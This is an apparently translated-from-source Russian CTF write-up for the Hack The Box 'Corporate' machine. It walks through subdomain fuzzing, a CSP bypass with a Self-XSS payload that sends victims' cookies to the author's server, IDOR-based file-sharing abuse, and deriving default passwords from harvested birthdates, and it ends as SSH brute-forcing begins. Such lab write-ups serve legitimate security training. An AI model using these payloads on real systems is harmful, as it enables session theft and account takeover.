Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В сегодняшнем прохождении нам встретится обход CSP, эксплуатация XSS и IDOR, поиск ошибок в коде сайта, похищение профиля Firefox, брут PIN от Bitwarden, создание токена JWT и другие захватывающие приключения.
Наша цель — получение прав суперпользователя на машине Corporate с учебной площадки Hack The Box. Уровень сложности — «безумный».
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.246 corporate.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Сканер нашел всего один открытый порт — 80. На нем отвечает веб‑сервер OpenResty 1.21.4.3. На главной странице нас встречает сайт, а также мы узнаём реальный домен.
Главная страница сайта
Ниже на странице можно найти ссылку на другой ресурс, расположенный на поддомене.
Ошибка запроса к support.corporate.htb
Чтобы получить доступ к ресурсу, добавим соответствующую запись в файл /etc/hosts
, а затем повторим обращение к support.corporate.htb
.
10.10.11.246 corporate.htb support.corporate.htb
Главная страница support.corporate.htb
Мы нашли один поддомен, а значит, могут быть и другие. Проверить это легко с помощью сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (я использую словари из набора SecLists); -t
— количество потоков; -u
— URL; -d
— глубина сканирования; -H
— HTTP-заголовок. Чтобы в вывод утилиты не попадали абсолютно все варианты из списка, можно установить фильтр по размеру страницы (параметр -fs
). Место перебора помечается словом FUZZ.
Команда получается следующая:
ffuf -u "http://corporate.htb/" -H 'Host: FUZZ.corporate.htb' -t 128 -fs 175 -w subdomains-top1million-110000.txt
Результат сканирования поддоменов
Так мы открываем три новых поддомена, для которых нужно сделать запись в /etc/hosts
. Затем можем посмотреть соответствующие сайты.
10.10.11.246 corporate.htb support.corporate.htb git.corporate.htb sso.corporate.htb people.corporate.htb
Главная страница git.corporate.htb
Главная страница sso.corporate.htb
Главная страница people.corporate.htb
К git
доступ получить нельзя, people
требует авторизации, а SSO обеспечивает единый механизм аутентификации для всех ресурсов. Возвращаемся к чату техподдержки и проверяем вставку тегов HTML.
Страница чата
Нагрузка со словом bolt
, обернутым в тег <b>
сработала — слово отображено жирным шрифтом. Это значит, что можно попытать удачу с инъекцией XSS.
Найти здесь XSS никак не получилось, а все из‑за политики CSP, о которой можно узнать из ответа веб‑сервера.
Ответ сервера
Content Security Policy — это механизм обеспечения безопасности, с помощью которого можно защищаться от XSS-атак. CSP описывает доверенные источники для загрузки ресурсов и устанавливает правила использования встроенных скриптов. Загрузка с ресурсов, не входящих в белый список, блокируется. Таким образом, для эксплуатации XSS нужно найти возможность разместить код на одном из ресурсов corporate.htb
.
В это время Burp Scanner определил возможность манипуляции содержимым JS-скрипта /assets/js/analytics.min.js
через параметр v
.
Запрос на сервер
Ответ сервера
Также нашлась возможность менять содержимое страницы 404 главного сайта, что позволяет вставить теги <script>
и перейти к уязвимости Self-XSS.
Запрос на сервер
Ответ сервера
Таким образом, в файл /assets/js/analytics.min.js
можно вставить свой JavaScript-код, который будет отправлять на наш сервер cookie пользователя.
http://corporate.htb/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`
Ответ сервера с нагрузкой
Затем этот скрипт можно загружать в теге <script>
через страницу 404 главного сайта и приводить нагрузку в действие.
http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`'></script>
Чтобы пользователь автоматически переходил по этой ссылке, используем HTML-инъекцию тега <meta>
с параметром http-equiv="refresh"
.
<meta http-equiv="refresh" content="0;url=http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.16.36/${document.cookie}`'></script>">
Запускаем веб‑сервер:
python3 -m http.server
И отправляем нагрузку в чат. Как только пользователь просмотрит сообщение, он автоматически будет перенаправлен на http://corporate.htb/
, где через Self-XSS загрузится скрипт /vendor/analytics.min.js
со встроенной JS-нагрузкой для кражи печенек.
Логи веб‑сервера
Так как каждый новый чат будет со случайным сотрудником техподдержки, можно получать cookie разных пользователей.
Чтобы полученные cookie автоматически применялись на всех сайтах, загружаемых через Burp Proxy, нужно открыть настройки прокси и указать их в разделе Match and replace rules.
Настройки Burp Proxy
Главная страница сайта People
На странице Sharing можно найти несколько файлов, в том числе конфиг OpenVPN. Офисные документы ничего интересного не содержат.
Содержимое страницы Sharing
Так как обращение к файлу происходит через его идентификатор, стоит перебрать другие значения ID
: доступ к файлам может не контролироваться. Однако в этот раз ничего не получилось. В дополнение к обнаруженному можно отметить функцию, которая позволяет поделиться файлом с другим пользователем.
На странице Chat есть только окно чата для внутренних пользователей. При клике на пользователя можно просмотреть его профиль.
Содержимое страницы Chat
Профиль пользователя
Больше на сайте ничего интересного найти не удалось, поэтому вернемся и посмотрим, какие возможности дает загрузка и шеринг файла. Чтобы войти от имени любого другого пользователя, можно украсть рандомные cookie через XSS и применить в Burp Proxy.
Профиль другого пользователя
Через форму загрузки ничего интересного сделать не получилось. А вот чтобы поделиться файлом, серверу нужно указать ID файла и почтовый адрес пользователя, которому будет открыт доступ.
Файлы пользователя
Запрос для шеринга файла
Хотя сервер проверяет, можно ли тому или иному пользователю получить доступ к определенному файлу, при шеринге это разрешение может и не действовать. Чтобы попробовать поделиться всеми файлами, можно через Burp Intruder перебрать их ID в запросе на шеринг.
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Payloads
Когда все запросы в Burp Intruder выполнены, снова проверяем файлы пользователя и находим там большой список документов.
Файлы пользователя
Среди бесполезных файлов DOCX есть один интересный файл в формате PDF.
В PDF есть шаблон устанавливаемых для пользователей паролей. Пароли составляются по простой схеме: строка CorporateStarter
и дата рождения пользователя.
Содержимое документа PDF
Дату рождения пользователя легко найти в его профиле. Можем через Burp Intruder перебрать профили всех пользователей и выбрать на страницах их имена и даты рождения.
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Payloads
Для выбора имени пользователя и даты рождения следует использовать опцию Grep-Extract
.
Выбор имени пользователя
Выбор даты рождения
Результат атаки
Получаем таблицу с данными, и теперь нужно выбрать результаты для всех пользователей. Сохраняем и в появившемся окне выбираем только столбцы с именами и датами рождения. В качестве разделителя выбираем запятую.
Сохранение результатов
Теперь нужно найти сервисы, в которые можно попытаться залогиниться. Подключаемся к VPN, используя скачанный конфиг, и просматриваем добавленные маршруты. Это нужно для определения новых сетей, к которым открывается доступ.
sudo openvpn candido-hackett.ovpn
Логи OpenVPN
Нам доступны сети 10.8.0.0/24
и 10.9.0.0/24
. Сначала просканируем их и найдем живые хосты. Nmap с опцией -sn
выполнит перебор всех хостов в сети.
nmap -sn 10.8.0.0/24 --min-rate=200
Результат сканирования сети 10.8.0.0/24nmap -sn 10.9.0.0/24 --min-rate=500
Результат сканирования сети 10.9.0.0/24
Теперь нужно просканировать порты на найденных хостах. Для этого используем уже знакомый скрипт, который я приводил в начале статьи.
Результат сканирования портов хоста 10.8.0.1
Результат сканирования портов хоста 10.9.0.4
Адреса 10.8.0.1
и 10.9.0.1
принадлежат одному хосту, поэтому далее работать будем только с одним из них.
На хосте 10.9.0.4 работают службы SSH (порт 22) и NFS (порт 111). Первым делом нужно перебрать учетные данные на SSH. Но сперва надо собрать списки логинов и паролей.
Источник: xakep.ru